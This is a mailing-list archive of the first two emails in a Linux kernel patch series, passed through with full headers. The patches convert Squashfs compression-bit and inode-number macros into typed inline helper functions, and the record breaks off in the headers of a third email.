From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.43 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405422; b=Waye6k20iOl0Ld5xlkgJE94SiHW6YuX2Yjw0vIeJ/mAS/WVE+FmoEN98piVJ2nmy7YOj dGB+h6K7DbZSQ89SVephliXell//CW7kHmCDIPeiJ9QSKyrkWjsOXPczH8cHy1tTM4PVQ mxxMdepAR6hzgJFkxan/WptF0gfVQ5g0aBpoAxHsMlF/k3s7EfFYp+C1qkVbyojnOuGGS BYrSuX9oV1omE6KOS8gYpC2nASm94A7/iBHTS18wjONvIn8/FfrYcgl7shEtGKu7IrFDX l6JYzxRzAtU/8Vt00Kq9Ba6K3jHcCZ525VdAak/wOxvJ+SO3LSwnSv40QG3+Bmj8ihw== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405422; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=1h3X6RpCF0OfBgICFxXNRKGQx+0azyHiA/za5C0cZRw=; b=PVR0TgrSg+C1MOJMLxnoANZ32toPB8/3i4L5oYpxyaCxo42ieCjdopGmFSBMJKjGUFyU eSPK5O9gwaUN8UxwHo2jybgyppgqeNcpVDraofT3KaCGsJ8MgVl1gHmWcmnaXcySRpXzt Vxxuw9BCYkLkBN6QZtweysEb4H2V5Vls5ZmMhX2CWcs6lRoljcWxocXoPhG69El2A0JYZ FgloCeR+G2KzPqw99mfWIP1S6+i0lgiMX/klNVD01uJFeAl5BYXhHJCY9uVBLJWG/h0cX tyeNQr+8zyixS7+QQbzGjGpqmEH2Gr30gArjJjGvsmJrboeXARhAIQRFzhNfy5TXYNA== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=nzPK2L66; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=WMBZvbNB; arc=none smtp.remote-ip=188.121.53.43 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.43]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 1AFC4606A32C for ; Mon, 23 Nov 2026 03:43:41 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 1AFC4606A32C Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=nzPK2L66; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=WMBZvbNB Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKxixiqPo; Mon, 23 Nov 2026 03:43:27 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405408; bh=1h3X6RpCF0OfBgICFxXNRKGQx+0azyHiA/za5C0cZRw=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=nzPK2L66ptjZ7DdoWCN1Ph/ySMr1pzED/KOJutghdqFy+fqLjckkFj4DH1omtCqfL nWghkdbQpU3dw0LXGj+vyHQZtS/Swc0y/NCS9K/a0VxeMoJOqKR658/vGpZHixOIat TgRuh7AZi/OIfSAc93b4IqQ4NGO2xrX8WtGX5+wlpvDdj3CpeNkJQI7Rjf6GabcDNs 5XMz7+/P8LXpG/mEFsZlo/SMEgzY7P0t+ZUKnfeNhYjG8fVtlrLlWpERxVedWWc2su XMsDsIkrkzBWkO0JPeyPrdxgDmH+s8mMq//G/wPldRmxaUfuvji+v/YJr0c08JLVmb zpS6NyTstl9pA== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405408; bh=1h3X6RpCF0OfBgICFxXNRKGQx+0azyHiA/za5C0cZRw=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=WMBZvbNBZC20tAt1s6O0XtFQC6dl5gAJwOubB4BP4CiJGO6SOP0YFzSZ9JgjRQpcV l/q2hGQLqek70iDborYNg4L11FHcM+m9Hrui25SnNwUKR08skC3Fl8hGu4iGycFDLd XJxmW3Qcglq03Bv5hWAQJJSQRpaG1rDyUkYd88aKZmn7/9hfzfdLg+/YxWFVT8Y5h+ JnJO4oX4WUO7++3bB29Ic1Af853EbceuW11KiXUkCHxzuaZRXmlCM3E12JdxaLDkGA jO0egSHXW4J7ApV+CKgKaaycIYBZrkxx74XpVFeoqmOUfqprugyXmGsyQUymwqjioz aUaW7J0KvLP0Q== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b65f a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=sSupuuxbErciYv1SbbcA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 3e8f7cfad0b2acc3369648ed5df84c1d:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 01/23] Squashfs: convert SQUASHFS_COMPRESSED_* to inline functions Date: Mon, 23 Nov 2026 03:42:42 +0000 Message-ID: <20261123034304.261742-2-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfOsXlsI1pLDlAwYq1vCEL1d+GnWOZmnqXggxxq3XEKYxKBLj0rVIcMkBoh2mBEeiLE6UI0QdUIMsgFuz+oQvH+UAH5IDnyIuLmY3t4bxxHjOVYwPNMWG 49NERLhdAelT1k2CBJaKHPiPUbDHlEDn5GOwfpXxLYqNN934pDjsxInLCK/Y4J/MxSO5P2sayeSFiNSPbwVCQhwqQeC00jU+FY83vZy4xUup0lrToiUkq4ec DYygx9eQY5nLQLODWlgqDf+XVmFfUWSDqm8LenuwXgQUtg9Kjx/jGeVtjBsB7R04 Content-Type: text/plain; charset="utf-8" Convert old fashioned #define macros into inline functions. This has the following improvements: 1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors. 2. The inline functions enable more sanity checking to be added in later commits. 3. Inline functions are easier to read than #define macros, which improves code comprehension. Signed-off-by: Phillip Lougher --- fs/squashfs/block.c | 11 ++++++----- fs/squashfs/cache.c | 1 + fs/squashfs/file.c | 3 ++- fs/squashfs/squashfs_fs.h | 17 ----------------- fs/squashfs/squashfs_helpers.h | 35 ++++++++++++++++++++++++++++++++++ 5 files changed, 44 insertions(+), 23 deletions(-) create mode 100644 fs/squashfs/squashfs_helpers.h diff --git a/fs/squashfs/block.c b/fs/squashfs/block.c index 2d5850168026..20c3030b4f96 100644 --- a/fs/squashfs/block.c +++ b/fs/squashfs/block.c @@ -23,6 +23,7 @@ =20 #include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "decompressor.h" #include "page_actor.h" @@ -292,7 +293,7 @@ int squashfs_read_data(struct super_block *sb, u64 inde= x, int length, { struct squashfs_sb_info *msblk =3D sb->s_fs_info; struct bio *bio =3D NULL; - int compressed; + bool compressed; int res; int offset; =20 @@ -300,8 +301,8 @@ int squashfs_read_data(struct super_block *sb, u64 inde= x, int length, /* * Datablock. */ - compressed =3D SQUASHFS_COMPRESSED_BLOCK(length); - length =3D SQUASHFS_COMPRESSED_SIZE_BLOCK(length); + compressed =3D squashfs_compressed_block(length); + length =3D squashfs_compressed_size_block(length); TRACE("Block @ 0x%llx, %scompressed size %d, src size %d\n", index, compressed ? "" : "un", length, output->length); } else { @@ -341,8 +342,8 @@ int squashfs_read_data(struct super_block *sb, u64 inde= x, int length, bio_uninit(bio); kfree(bio); =20 - compressed =3D SQUASHFS_COMPRESSED(length); - length =3D SQUASHFS_COMPRESSED_SIZE(length); + compressed =3D squashfs_compressed(length); + length =3D squashfs_compressed_size(length); index +=3D 2; =20 TRACE("Block @ 0x%llx, %scompressed size %d\n", index - 2, diff --git a/fs/squashfs/cache.c b/fs/squashfs/cache.c index c1a83bb0e519..7cb16414cd23 100644 --- a/fs/squashfs/cache.c +++ b/fs/squashfs/cache.c @@ -42,6 +42,7 @@ =20 #include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "page_actor.h" =20 diff --git a/fs/squashfs/file.c b/fs/squashfs/file.c index d83594ce91d2..ad6382cd22d3 100644 --- a/fs/squashfs/file.c +++ b/fs/squashfs/file.c @@ -39,6 +39,7 @@ #include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "page_actor.h" =20 @@ -188,7 +189,7 @@ static long long read_indexes(struct super_block *sb, i= nt n, err =3D size; goto failure; } - block +=3D SQUASHFS_COMPRESSED_SIZE_BLOCK(size); + block +=3D squashfs_compressed_size_block(size); } n -=3D blocks; } diff --git a/fs/squashfs/squashfs_fs.h b/fs/squashfs/squashfs_fs.h index a955d9369749..b406e52a83c2 100644 --- a/fs/squashfs/squashfs_fs.h +++ b/fs/squashfs/squashfs_fs.h @@ -101,22 +101,6 @@ #define SQUASHFS_XATTR_VALUE_OOL 256 #define SQUASHFS_XATTR_PREFIX_MASK 0xff =20 -/* Flag whether block is compressed or uncompressed, bit is set if block is - * uncompressed */ -#define SQUASHFS_COMPRESSED_BIT (1 << 15) - -#define SQUASHFS_COMPRESSED_SIZE(B) (((B) & ~SQUASHFS_COMPRESSED_BIT) ? \ - (B) & ~SQUASHFS_COMPRESSED_BIT : SQUASHFS_COMPRESSED_BIT) - -#define SQUASHFS_COMPRESSED(B) (!((B) & SQUASHFS_COMPRESSED_BIT)) - -#define SQUASHFS_COMPRESSED_BIT_BLOCK (1 << 24) - -#define SQUASHFS_COMPRESSED_SIZE_BLOCK(B) ((B) & \ - ~SQUASHFS_COMPRESSED_BIT_BLOCK) - -#define SQUASHFS_COMPRESSED_BLOCK(B) (!((B) & SQUASHFS_COMPRESSED_BIT_BLOC= K)) - static inline int squashfs_block_size(__le32 raw) { u32 size =3D le32_to_cpu(raw); @@ -449,5 +433,4 @@ struct squashfs_xattr_id_table { __le32 xattr_ids; __le32 unused; }; - #endif diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h new file mode 100644 index 000000000000..94edc7f46ae4 --- /dev/null +++ b/fs/squashfs/squashfs_helpers.h @@ -0,0 +1,35 @@ +/* SPDX-License-Identifier: GPL-2.0-only */ +#ifndef SQUASHFS_HELPERS_H +#define SQUASHFS_HELPERS_H +/* + * Copyright (c) 2026 + * Phillip Lougher + */ + +/* Flag whether block is compressed or uncompressed, bit is set if block is + * uncompressed + */ +#define SQUASHFS_COMPRESSED_BIT (1 << 15) + +static inline s16 squashfs_compressed_size(s16 size) +{ + return size & ~SQUASHFS_COMPRESSED_BIT; +} + +static inline bool squashfs_compressed(s16 size) +{ + return (size & SQUASHFS_COMPRESSED_BIT) =3D=3D 0; +} + +#define SQUASHFS_COMPRESSED_BIT_BLOCK (1 << 24) + +static inline s32 squashfs_compressed_size_block(s32 size) +{ + return size & ~SQUASHFS_COMPRESSED_BIT_BLOCK; +} + +static inline bool squashfs_compressed_block(s32 size) +{ + return (size & SQUASHFS_COMPRESSED_BIT_BLOCK) =3D=3D 0; +} +#endif --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=92.204.81.45 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405423; b=0402OHAow/A+TOqJZGnay6pb7TPmthYrPmRZeMg5pmSsW3xRDgDLzRc+GUlXRsDotdZY WzkS6AuePzCT44QsG+KZT0JAvAJ6PdfYRp4YANZ4Mmg15ef8Ac+EWUuVZwloTOBrqBPei tVmaFMrvFsyrWO6Nckwv4OUt8XKy2QpULfyDcKWSVp673I5H7XVmLsQqFVkaJHc9xYCXx GubmcPIgpAYRfD0zCx11Op2UHI+wzEdeOYVQxXhJFtMX7wbUc58KW9/4tALx3SnTZmVRh Fj5Y9J/O4b0xc+hLZfhu0vHDRDDb8TjTsASMnNVklJxRE63fcFDsFagJw3Do5ePkS8w== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405423; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=G1IbwqDTeq3hKJ+CZm8yxQinCv/5A5Bk1KuwF5ZCg4E=; b=j4K4tcVb1fdotfYz62DLOkbJdz0/T/RWvF47r1GwKfhDZ1I/QqT0B51sfoiGaJPvRDR7 nh9sN/GQ6JN26kx0O6PZ48BiEYyanLpE9G8sWVAN1+sJVPFraZqCW8hksSjuT1kYmwQp/ rEAkg4db87tQrpeW3yhfWmEdKcWzOhX+qtXN8vW5zmyaNFrYuc5Rl3GVlHposn/ZvD0Lo JK1yNpWszIrSnefhj751WFytkap12eEE44TgI3PhrBM7jkXFPXvQYO0Yrh8diz9rOY1jJ 7VkEaqKk2ucg309Go5e+Iq3eUsIEGj4gw9PE9TvgkO4ZpHlp49FqtTScFo6BBu3Fw9A== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=h56pV5CT; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=f15mgTbH; arc=none smtp.remote-ip=92.204.81.45 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [92.204.81.45]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 99B20606A332 for ; Mon, 23 Nov 2026 03:43:42 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 99B20606A332 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=h56pV5CT; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=f15mgTbH Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKxkxiqQ6; Mon, 23 Nov 2026 03:43:28 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405409; bh=G1IbwqDTeq3hKJ+CZm8yxQinCv/5A5Bk1KuwF5ZCg4E=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=h56pV5CTKs7X69IQM4/zPde3T19qphDMLQLVnIeYyw3RJjRsMg9NTP+NOwnvPUr/h 7fmJQT3LC0RWXCtPSma5qle8Xy85jZwOSCg3DLDbw0IswN0FwsFHj05s5veGYQz5Qp KI9Ak5DB16aqTxmS9j1MO1H3bEV4H9bH18gQQUfbJ28g34Kk3GwpgtfWnCpnQeHtNd l/CXv2P1wZl+PcFWWcccwKfTuSDkZJzAYWkY8rjIee4KpzTKUDDypJX78zJvbrOvjB H36hZrGCQ1TOya+Ma5CEhXigYjCkNHUjKu3m4oYfVnTO1JNdU5JZni14wsVEHvKkd1 tmdqFBiJB0zlQ== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405409; bh=G1IbwqDTeq3hKJ+CZm8yxQinCv/5A5Bk1KuwF5ZCg4E=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=f15mgTbHxDPBzRHvAepvqzwX6nLiOpS/e8l6ZQaJf80AWaCYuHb6k32aiBYBVVKA2 t/iDsywPzFWIEVjkk2NPCjG3BvOue+b2DKDXA3XIMZvGf2KRvatQbeQ5mxrN5UudRR lp/qKscp8wBbeCrITv+ASMYxtAWVd4lNAmhTleP+SDEF4Mvs74QYaPGwvMzrQh3Cq8 lDOiXSZNFD9SA0V3Zqu/gvlfM2x0+KXQ1YJwBgoNPu/Zcwx5+9xeIcVIFDRkuze1Az 58QXP6ZQhGH4HSjmdNmjIU1+nVG3AiYZVIYZMkbzB3vGVW9d2QwndNJ5jV53m32PYL l+lkpHFXmoWTw== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b661 a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=blB7sX4d8Brpto9GhyAA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 189e7cda0857392097587bece6283094:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 02/23] Squashfs: convert SQUASHFS_INODE_* and SQUASHFS_MKINODE to inline functions Date: Mon, 23 Nov 2026 03:42:43 +0000 Message-ID: <20261123034304.261742-3-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfLcni997qr68blTvAospYwjSSrkd5KvIYTdVcjnZ1oSq9OkmS9qL8R4u/tLeiIwBJwcziYPaRyzGPcSCwwM5ey/ZpdpNqfqcI+RLUU0GdHn1/Z034W/6 mcgBrbLxAGjxIyzbHunsr4ZPPio9TYY8J7XK8DNDG/w6E8MZNX7RL1MsQJX2bjdYcb41KOUT/Hkj5UFSyWajjy6tkZ3NDcqiwspm6DftizQ4IW7DIxrT57gu hm4FjiD+DGKDxmpCBaVL2BGKAJHCSFFw6aH4lHAOMfRAJIROxoEZjAzDAza92Ez0 Content-Type: text/plain; charset="utf-8" Convert old fashioned #define macros into inline functions. This has the following improvements: 1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors. 2. The inline functions enable more sanity checking to be added in later commits. 3. Inline functions are easier to read than #define macros, which improves code comprehension. Signed-off-by: Phillip Lougher --- v2: - Remove squashfs_inode_offset() additions to TRACE statements. This is now a separate patch. --- fs/squashfs/inode.c | 24 +++++++++++++----------- fs/squashfs/namei.c | 3 ++- fs/squashfs/squashfs_fs.h | 11 ----------- fs/squashfs/squashfs_helpers.h | 19 +++++++++++++++++++ fs/squashfs/super.c | 3 ++- 5 files changed, 36 insertions(+), 24 deletions(-) diff --git a/fs/squashfs/inode.c b/fs/squashfs/inode.c index 82b687414e65..bc7c81d442f2 100644 --- a/fs/squashfs/inode.c +++ b/fs/squashfs/inode.c @@ -33,6 +33,7 @@ #include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h" =20 @@ -108,8 +109,9 @@ int squashfs_read_inode(struct inode *inode, long long = ino) { struct super_block *sb =3D inode->i_sb; struct squashfs_sb_info *msblk =3D sb->s_fs_info; - u64 block =3D SQUASHFS_INODE_BLK(ino) + msblk->inode_table; - int err, type, offset =3D SQUASHFS_INODE_OFFSET(ino); + u64 block =3D squashfs_inode_blk(ino) + msblk->inode_table; + int offset =3D squashfs_inode_offset(ino); + int err, type; union squashfs_inode squashfs_ino; struct squashfs_base_inode *sqshb_ino =3D &squashfs_ino.base; int xattr_id =3D SQUASHFS_INVALID_XATTR; @@ -128,8 +130,8 @@ int squashfs_read_inode(struct inode *inode, long long = ino) if (err) goto failed_read; =20 - block =3D SQUASHFS_INODE_BLK(ino) + msblk->inode_table; - offset =3D SQUASHFS_INODE_OFFSET(ino); + block =3D squashfs_inode_blk(ino) + msblk->inode_table; + offset =3D squashfs_inode_offset(ino); =20 type =3D le16_to_cpu(sqshb_ino->inode_type); switch (type) { @@ -181,7 +183,7 @@ int squashfs_read_inode(struct inode *inode, long long = ino) inode->i_data.a_ops =3D &squashfs_aops; =20 TRACE("File inode %x:%x, start_block %llx, block_list_start " - "%llx, offset %x\n", SQUASHFS_INODE_BLK(ino), + "%llx, offset %x\n", squashfs_inode_blk(ino), offset, squashfs_i(inode)->start, block, offset); break; } @@ -241,7 +243,7 @@ int squashfs_read_inode(struct inode *inode, long long = ino) inode->i_data.a_ops =3D &squashfs_aops; =20 TRACE("File inode %x:%x, start_block %llx, block_list_start " - "%llx, offset %x\n", SQUASHFS_INODE_BLK(ino), + "%llx, offset %x\n", squashfs_inode_blk(ino), offset, squashfs_i(inode)->start, block, offset); break; } @@ -264,7 +266,7 @@ int squashfs_read_inode(struct inode *inode, long long = ino) squashfs_i(inode)->parent =3D le32_to_cpu(sqsh_ino->parent_inode); =20 TRACE("Directory inode %x:%x, start_block %llx, offset %x\n", - SQUASHFS_INODE_BLK(ino), offset, + squashfs_inode_blk(ino), offset, squashfs_i(inode)->start, le16_to_cpu(sqsh_ino->offset)); break; @@ -291,7 +293,7 @@ int squashfs_read_inode(struct inode *inode, long long = ino) squashfs_i(inode)->parent =3D le32_to_cpu(sqsh_ino->parent_inode); =20 TRACE("Long directory inode %x:%x, start_block %llx, offset " - "%x\n", SQUASHFS_INODE_BLK(ino), offset, + "%x\n", squashfs_inode_blk(ino), offset, squashfs_i(inode)->start, le16_to_cpu(sqsh_ino->offset)); break; @@ -335,7 +337,7 @@ int squashfs_read_inode(struct inode *inode, long long = ino) } =20 TRACE("Symbolic link inode %x:%x, start_block %llx, offset " - "%x\n", SQUASHFS_INODE_BLK(ino), offset, + "%x\n", squashfs_inode_blk(ino), offset, block, offset); break; } @@ -359,7 +361,7 @@ int squashfs_read_inode(struct inode *inode, long long = ino) squashfs_i(inode)->parent =3D 0; =20 TRACE("Device inode %x:%x, rdev %x\n", - SQUASHFS_INODE_BLK(ino), offset, rdev); + squashfs_inode_blk(ino), offset, rdev); break; } case SQUASHFS_LBLKDEV_TYPE: @@ -384,7 +386,7 @@ int squashfs_read_inode(struct inode *inode, long long = ino) squashfs_i(inode)->parent =3D 0; =20 TRACE("Device inode %x:%x, rdev %x\n", - SQUASHFS_INODE_BLK(ino), offset, rdev); + squashfs_inode_blk(ino), offset, rdev); break; } case SQUASHFS_FIFO_TYPE: diff --git a/fs/squashfs/namei.c b/fs/squashfs/namei.c index 65aae7e2a859..2260a3f05fde 100644 --- a/fs/squashfs/namei.c +++ b/fs/squashfs/namei.c @@ -49,6 +49,7 @@ #include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h" =20 @@ -197,7 +198,7 @@ static struct dentry *squashfs_lookup(struct inode *dir= , struct dentry *dentry, off =3D le16_to_cpu(dire->offset); ino_num =3D le32_to_cpu(dirh.inode_number) + (short) le16_to_cpu(dire->inode_number); - ino =3D SQUASHFS_MKINODE(blk, off); + ino =3D squashfs_mkinode(blk, off); =20 TRACE("calling squashfs_iget for directory " "entry %s, inode %x:%x, %d\n", name, diff --git a/fs/squashfs/squashfs_fs.h b/fs/squashfs/squashfs_fs.h index b406e52a83c2..6d993531a5df 100644 --- a/fs/squashfs/squashfs_fs.h +++ b/fs/squashfs/squashfs_fs.h @@ -107,17 +107,6 @@ static inline int squashfs_block_size(__le32 raw) return (size >> 25) ? -EIO : size; } =20 -/* - * Inode number ops. Inodes consist of a compressed block number, and an - * uncompressed offset within that block - */ -#define SQUASHFS_INODE_BLK(A) ((unsigned int) ((A) >> 16)) - -#define SQUASHFS_INODE_OFFSET(A) ((unsigned int) ((A) & 0xffff)) - -#define SQUASHFS_MKINODE(A, B) ((long long)(((long long) (A)\ - << 16) + (B))) - /* fragment and fragment table defines */ #define SQUASHFS_FRAGMENT_BYTES(A) \ ((A) * sizeof(struct squashfs_fragment_entry)) diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index 94edc7f46ae4..afef13cd6dc0 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -32,4 +32,23 @@ static inline bool squashfs_compressed_block(s32 size) { return (size & SQUASHFS_COMPRESSED_BIT_BLOCK) =3D=3D 0; } + +/* + * Inode number ops. Inodes consist of a compressed block number, and an + * uncompressed offset within that block + */ +static inline u32 squashfs_inode_blk(s64 inode) +{ + return inode >> 16; +} + +static inline u16 squashfs_inode_offset(s64 inode) +{ + return inode & 0xffff; +} + +static inline s64 squashfs_mkinode(u32 start, u16 offset) +{ + return ((s64)start << 16) | offset; +} #endif diff --git a/fs/squashfs/super.c b/fs/squashfs/super.c index 5dabc5770f1b..0e511dd29d58 100644 --- a/fs/squashfs/super.c +++ b/fs/squashfs/super.c @@ -33,6 +33,7 @@ #include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "decompressor.h" #include "xattr.h" @@ -286,7 +287,7 @@ static int squashfs_fill_super(struct super_block *sb, = struct fs_context *fc) =20 /* Check the root inode for sanity */ root_inode =3D le64_to_cpu(sblk->root_inode); - if (SQUASHFS_INODE_OFFSET(root_inode) > SQUASHFS_METADATA_SIZE) + if (squashfs_inode_offset(root_inode) > SQUASHFS_METADATA_SIZE) goto insanity; =20 msblk->inode_table =3D le64_to_cpu(sblk->inode_table_start); --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=92.204.81.43 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405425; b=obEyrya2f0b98PphOPsjlS1Xcp96W2KYwKwKHVVSj2BgHxOEbNJqvzS3OXBRIz5DH+Rh gGJquIIBXnhjxvzf3usBDKTmlvNTqJk9Yxtww88YhZlEd4g6iMyACxELrg0bS7yE480MS RHTy8SmV66WLj1uHsfJsgKj9V63LHtMHxYbsb27GdFyeN6LStdTTD3vc/kTDXJrOmwuGQ AHSrUEsf2xw/sdlkaVFp3Hm6rCJeWn4kLeOgyuW/7eRKdY9+16hRZG5eFDvxTUzgE93Hy 5Z6cvImcUlzWWtSC6mGyW5rEKJt0jWNkXq1QNa4T77+CgCBKC3DocdYiF2jpCAjMexQ== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405425; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=wys9Wx99ZC2EDRSVcGeNB0fz3DNJiTOwnUvw3iVwC5w=; b=s3TlUhYMbvsAwTbpZDMvIaSvVf9x3cRlh9JcDKe575OkV+V7s4F9pnA+AgL4OkPB67v5 fFQeLEMTX6cPPWMof6TPrYYy0qARy06bZxw9vLiUnf03brIxxpbzPKvxwzu29m2k1tEht YaJrsNFa7f33cwaT6MAiy7qcV5tCnpPTdFee6mpehTNmbs2zhxJRxn+f5KQoUBXYHCWbQ 0RWlNDCqPTY34xnGqMlKNKOOcgPjk9JRg1RveEtzfe/iKaVNwhkOJY9E1vz8X924U4SVj iGGp/ec//DVT8iK0Xu8ugbaPVD7EabcOlS3JY760g0+hPibebd3Q/EMcpdws56siKqg== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; 